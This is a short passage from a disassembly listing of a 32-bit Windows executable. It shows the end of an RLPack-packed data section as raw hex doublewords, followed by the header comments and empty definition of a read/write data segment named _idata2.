2722B582h, 70F3B35Fh, 220824DAh dd 0E04189Eh, 9C89780h, 22129116h, 13024415h, 0A120589h dd 0C481724h, 6F223391h, 89030144h, 24091270h, 91064834h dd 4410220Bh, 74891408h, 2291112h, 8A494150h, 39998780h dd 991731Bh, 3032700Dh, 8247FC20h, 856F43C0h, 17D0h dup(0) db 0 _RLPack ends ; Section 3. (virtual address 0002F000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0002F000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 42F000h align 2000h _idata2 ends end start